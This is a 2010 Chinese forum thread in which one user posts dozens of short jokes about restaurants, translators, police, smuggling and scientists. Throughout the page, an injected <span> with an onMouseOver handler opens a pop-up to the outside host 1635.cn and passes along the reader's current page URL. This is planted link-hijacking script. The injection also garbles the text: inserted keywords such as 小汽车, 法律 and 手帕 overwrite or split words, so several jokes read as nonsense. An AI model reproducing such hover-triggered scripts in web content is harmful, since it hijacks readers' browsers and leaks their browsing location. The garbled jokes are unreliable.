艾游官方论坛
刻骨 - 2010/1/3 22:34:00
翻译
即时翻译是相当困难的事，如果要求译得准确甚至传神，那就更需要炉火纯青的技巧
了，特别是中文译成英文，确是一件难事。我有幸听过一段精采的传译－－
中文：婚前，她身材玲珑浮凸。
英译：婚前，她身材像个可口可乐瓶子。
中文：婚后，她变得像个水桶。
英译：婚后，她身材变得像个可口可乐的罐子。
刻骨 - 2010/1/3 22:34:00
滑板
三个男人死后，不约而同来到<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=小汽车 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">小汽车</span>。天堂负责交通的官员要按每人生前的行为
为其分配交通工具。
官员对甲说：“你生前生活俭点，心中只有自己的妻子，就给你一辆<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=小汽车 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">小汽车</span>吧。”
对乙说：“你总对下属眉来眼去，但终未敢越雷池，给你骑<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=小汽车 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">小汽车</span>吧。”
对丙说：“你有一次婚外恋，好在最后能迷途知返，但也只能给你辆<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=小汽车 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">小汽车</span>了。”
甲很为自己对妻子的忠心感到骄傲。
一日，他们三人又见<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=小汽车 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">小汽车</span>了，乙、丙看到甲脸上挂霜，便问怎麽回事，
甲叹口气道：“我看见我那刚死的妻子了，她在踩滑板．．．”
刻骨 - 2010/1/3 22:35:00
超速
我的侄子有一次在高速公路上开飞车而被警察拦下，
那位警察笑眯眯地对我侄子说:
“孩子，我今天一个上午就在这里等着你了。”
我的侄子于是回道：“警官，我知道。所以我以最快的速度赶到这里！”
刻骨 - 2010/1/3 22:36:00
相貌
在警察局里 ，警察问被殴的伤者 ，「你能描述打你的人的相貌吗?」
「当然可以 ,」 那人回答，「我就是因为形容他的样子而挨揍的」.
刻骨 - 2010/1/3 22:36:00
饭店
一家饭店一向以小气出名,一天来了一位顾客. 要了一份汤,一会儿侍者送上来一只盘
子,然后又去照顾其它顾客了,客人等了很久,仍不见侍者再过来,不仅有些恼怒,把老板
叫过来说:你叫我吃这个湿漉漉的盘子吗?! 老板笑容可掬的说:先生,那是你的汤啊!
刻骨 - 2010/1/3 22:37:00
答案
顾客：“服务员，您能解释一下我的汤里的苍蝇是怎么回事？”
服务员弯腰仔细地看了看回答道：“它在游泳，先生，它在游泳。”
刻骨 - 2010/1/3 22:38:00
结帐
一位顾客慢条斯里的在餐厅中用餐，然後他吃水果，抽香烟。
当侍者把帐单送上时，
他摸了摸囗袋，假装惊慌失措的说： 「糟糕，我的钱包不见了。」
侍者面无表情的
问：「真的吗？」於是，他把这个男人带到门囗，大声命令他：「蹲下。」然後用力一
脚，把他踢到门外。
这时，坐在另一张桌上的一个顾客，自动的走到门囗，同样的蹲
下来，然後回头对侍者说： 「结帐。」
刻骨 - 2010/1/3 22:38:00
回<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=吃 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">吃</span>报
一一<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=吃 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">吃</span>小群爱开<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=吃 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">吃</span>玩笑的人经常在同一家饭馆里<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=吃 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">吃</span>饭。
他们总爱和侍者开玩笑，他们时而
把水倒掉，却说侍者没送水来；
时而把餐巾藏起来，等等。每一回他们都能想出新的
花样， 可侍者从不抱怨他们的这些行为。
有一天，他们<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=吃 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">吃</span>完饭，给了侍者一笔可观的
小费，并且对他说：
＂你是个好样的，我们多次开你的玩笑，你也不生气，
从今天起，我们再也不这样做了。＂
＂谢了，＂侍者说：＂那我就再也不往你们的咖啡里掺
鞋油了！＂
刻骨 - 2010/1/3 22:39:00
没有了
一位顾客进一家餐馆，把大衣挂在衣帽间，然后坐到桌子旁，
要一份牛排。侍者从厨
房出来说：＂对不起，没有了。＂
顾客又要了一份红烧猪肉，侍者又从厨房空手回，
说： ＂对不起，也没有了。＂
顾客又选了几样其它的菜，但什么也没有。最后顾客生
气了， 他对侍者说：＂把我的大衣拿来吧！＂
侍者过了一会从衣帽间出来，对这位可
怜的顾客说： ＂很抱歉，您的大衣也没有了！＂
刻骨 - 2010/1/3 22:40:00
花样繁多
顾客：“你们饭馆的米饭真不错，花样繁多。”
服务员：“不就一种吗？”
顾客：“不，有生的，有熟的，有半生不熟的。”
刻骨 - 2010/1/3 22:40:00
坏蛋
一个人来到饭馆吃早点，招待员热情地端来了一盘茶烧蛋。
他尝出这蛋是臭的，便前
去质问经理： “你们为什么要给顾客吃坏蛋？”
经理便转过对招待员大声吼道：
“是呀，为什么要给顾客吃坏蛋？我不是多次说过：坏蛋只能用来做蛋糕”
刻骨 - 2010/1/3 22:41:00
苍蝇<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w= &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');"></span>喝咖啡
一个<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w= &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');"></span>绅士去喝<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w= &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');"></span>咖啡，刚<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w= &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');"></span>喝两口，<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w= &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');"></span>就发现杯子里有只苍蝇。
“喂，侍者，”绅士叫道：“咖啡里有苍蝇。”
“苍蝇？那绝对不可能！”侍者说：“老实对您说，
在给您端上来之前，我把所有的
苍蝇全拣出来了！”
刻骨 - 2010/1/3 22:42:00
鱼翅肉庚
有一个人在路上看到两家卖肉庚的摊子，一家的招牌写著阿荣肉庚，另一家写著鱼翅
内庚，生意比较好。他心想有鱼翅可能比较好吃，於是便叫了一碗鱼翅肉庚。可是他
吃半天只吃到肉庚而没有鱼翅，便叫老板来……
客人：老板你这鱼翅肉庚怎麽只有肉庚没有鱼翅？
老板：不好意思，小弟的名字叫鱼翅
刻骨 - 2010/1/3 22:42:00
难吃
某天，有一个人上餐厅用餐，结果菜色另他很不满意。就很不高兴的找服务生来，说
你们的菜怎麽这麽难吃，叫你们经理来，服务生：我们经理到对面的那间餐厅去吃午
饭了。
刻骨 - 2010/1/3 22:43:00
促销女士用品
一日在某店进行促销女士用品.一大早,一大群女士就排队 等着开门,可是总有一个男人
老向前挤,一次又一次的被女士们推到后面.那男人最后大声噪到你们要是不让我过去
我就不开门了
刻骨 - 2010/1/3 22:44:00
喝<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=法律 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">法律</span>的年龄
三个年轻人走进一家酒店喝啤酒.服务员向他们要身份证,因为按当地的<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=法律 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">法律</span>规定,只有
对成所人才<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=法律 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">法律</span>酒.其中两人马拿出证件,第三个人却因还不到法定许可喝酒的年龄,摸
了摸口袋,无可奈何地拿出一张图<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=法律 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">法律</span>馆借书卡,问服务员能否通融一下.服务员对他笑笑,
然后大声招呼柜台后边的掌柜说:两<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=法律 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">法律</span>啤酒......外加一本连环画.
刻骨 - 2010/1/3 22:44:00
埃及人与中国人
中国和埃及都是文明古国
中国人和埃及人都以自己的国家拥有悠久的历史为荣,
一日,一中国人与一埃及人聊天,那埃及人自毫的说:你知道吗
去年埃及国家考古队於金字塔下展开大规模的挖掘,发现了电缆
由此可见,埃及古代就有电话,
中国人说:三个月前我们国家考古队,展开大规模的挖掘(在长城)
结果没发现任何东西,可见中国古代就有无线电了!!!
刻骨 - 2010/1/3 22:45:00
最<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=公务员 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">公务员</span>快
有三<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=公务员 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">公务员</span>个小孩在<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=公务员 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">公务员</span>比谁的阿爸比较快!
第一个小孩说：我爸爸最快了，桌上的咖啡杯掉下来，他可以在杯子跌到地<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=公务员 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">公务员</span>之前
把杯子接住．
第二个小孩说：我爸爸才快呢，他去打猎，在 200尺外射中一头鹿，在鹿摔倒地面
之前他可以冲上去把鹿扶住．
第三个小孩说：我爸爸是<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=公务员 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">公务员</span>，每天下午五点下班，他四点半就到家了．
刻骨 - 2010/1/3 22:46:00
座右铭
餐厅的鱼不新鲜，简直是----「烂鱼」充数。
下雨天骑机车最怕----前车之「溅」。
中国人发现地球是圆的，所以会----背道而驰。
对於某些醉生梦死的人，我们形容他是----光阴似「贱」。
买仿冒劳力士是为了----虚有其「表」。
和说话囗沫横飞者在一起的感觉是----言多必「湿」。
机车大道横行，治安亮起红灯，真是----「道」亦有「盗」。
脸上青春豆长得其多无比，我们叫他----满面春「峰」。
大多数笔友见面後，总是----一见「终」情。
看到叶子媚的感觉是----「波」涛汹涌。
对於玩排七游戏，不出黑桃者，我们会----警告「桃七」。
刻骨 - 2010/1/3 22:46:00
敏感<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=食品 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">食品</span>的话题
小李<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=食品 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">食品</span>：「听说<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=食品 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">食品</span>我们这边的统一<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=食品 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">食品</span>公司到对岸设厂遇到层层阻碍，敢情是
对方蓄意刁难，公报私仇？」
小陈：「因为那座工厂的名字势必要叫做『<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=食品 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">食品</span>统一大陆厂』，这，这不
是自己找难看吗？」
刻骨 - 2010/1/3 22:47:00
笑话
小鱼:叔叔,谢谢你昨天送我的礼物!
叔叔:别客气,不算甚麽..
小鱼:我也那样想,可是我妈还是要我来谢谢你...
刻骨 - 2010/1/3 22:48:00
上学
『小鱼你为甚麽在哭??』
『因为我哥哥放假,而我没有..』
『那为甚麽你没有呢??』
『因为我还没有上学..』
刻骨 - 2010/1/3 22:48:00
售屋
房地产经纪人说:敝人一向声誉卓着,绝不做不实的宣传,哪!我可以明白地告诉您,这
楝房子,有优点;也有缺点.先从缺点来说好了!五十公尺以南有化学工场,五十公尺以北是屠宰场.
那它的优点何在?
优点嘛━━是您随时可知现在吹的是北风,还是南风.
刻骨 - 2010/1/3 22:49:00
走<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=面 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">面</span>私
有一<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=面 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">面</span>位老头子<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=面 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">面</span>每天都会骑着一辆<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=面 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">面</span>从加拿大进入美国,
边界警察觉得很奇怪,有一天就将那人拦了下来,问道:你背
上每天背的那个包包里<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=面 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">面</span>放的是什麽?老头说是沙.警察不信
检查一看果然是沙,又有一天检查还是沙.
终於有一天这个警察要退休啦！他实在受不了,于是在那老头
又一次来到检查站时，将那老头再拦下来.说:求求你啦！你老实
告诉我你是不是在走私,我决对不抓你!我明天就要退休了！
老头说:是!
再问:那你走私的到底是什麽?
摩托车!
刻骨 - 2010/1/3 22:50:00
演讲
一个美国人到**做现场演讲，请一位**人做他的翻译，参加的人非常踊跃。
美国人开始演讲，一囗气讲了十五分钟，就停下来让那**翻译开始做现场翻译，
但那**人只短短讲一下就讲完了，演说者虽然觉得很奇怪，但也不好意思问，就继续
又说了十五分钟，再停下来让**翻译翻，结果又是一下子就翻完了。
最後美国人又讲了十分钟，做完他的演说，而那**人一句话就带过去，听众们热
烈的鼓掌，没有问题之下，演说圆满结束。
那美国人非常好奇，想知道那翻译为甚麽那麽厉害，就去问台下的朋友，翻译都翻
些什麽？
他朋友就说：
第一句：到目前为只，没有什麽新鲜的事可以听。
第二句：我想到结束前都不会有什麽可以听的。
第三句：我说的都没错吧。
刻骨 - 2010/1/3 22:50:00
可以<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w= &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');"></span>听?!
老爸<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w= &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');"></span>问女儿：<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w= &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');"></span>「我那可<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w= &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');"></span>爱的外孙<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w= &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');"></span>女叫什麽名字 ？」
女儿回答说：「叫Christine。」
老爸接着说：「哦！『可以听』。」
女儿：「爸！当然可以听，名字是我取的嘛
老爸：「『可以听』，对不对嘛？」
搞了半天才弄懂，原来老爸是用那浓厚的乡音在念这
洋玩意儿。
刻骨 - 2010/1/3 22:51:00
死者的父亲
老王有天在街上闲逛
看到不远的前方似有车祸发生
一群人挤着围观
老王连忙赶上去
可是人太多了
怎麽挤也几不进去
老王心生一计
大喊:让开！我是死者的父亲
这时大家都以诧异的眼神看着他
原来......
死的是一条狗
刻骨 - 2010/1/3 22:52:00
一匹<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=手帕 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">手帕</span>只听上帝<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=手帕 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">手帕</span>语言的<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=手帕 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">手帕</span>马
某甲<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=手帕 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">手帕</span>向神父买了一匹马. 神父对他说:“这匹马跟我在一起太久了
你要它走一定要说-感谢上帝要它停一定要说-赞美主”
某甲说知道了就骑上去.说:感谢上帝.
果然马就开步走
某甲又连说三次感谢上帝马果然狂奔起来
可是某甲突然忘记要马停下来该怎样说了 他拉疆绳踹马狂叫都没用
眼看眼前有一断崖终於某甲想起来大喊一声－“赞美主”
马在段崖前十公分停了下来
某甲惊魂未定拿出<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=手帕 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">手帕</span>擦汗，嘘了囗气说:感谢上帝!
刻骨 - 2010/1/3 22:52:00
物理学家,生物学家和数学家
一个数学家,生物学家和物理学家坐在露天咖啡座上,悠闲的看着对街商店
的人来人往.
首先他们看到两个人走进商店,过了一会儿发现却有三个人走出来;三个朋友
就他们的专业发表了彼此的看法:
物理学家:这证明了测不准原理.
生物学家:这些人自我繁殖了.
数学家: 若现在再有一人进入此商店则里面将空无一人.
刻骨 - 2010/1/3 22:53:00
小电<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=电影 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">电影</span>影
----采自<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=电影 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">电影</span>国外的喜剧片段---
某日,一警官接到了一通报案电话,说某某戏院正在放小电影
男女主角全裸,希望警察赶快去取缔..
那警官据报,火速的赶到了现场,摸到<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=电影 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">电影</span>院里去,
正打算拍照存证,再来告发的时候....
却发现银幕上只有两只<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=电影 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">电影</span>在**....
这算哪门子的小<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=电影 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">电影</span>嘛...
那警官气得七孔生烟,把帽子重重的摔到了地上..
当他正想转身离去的时候...发现 ...
呵, .....
座位上坐满了狗...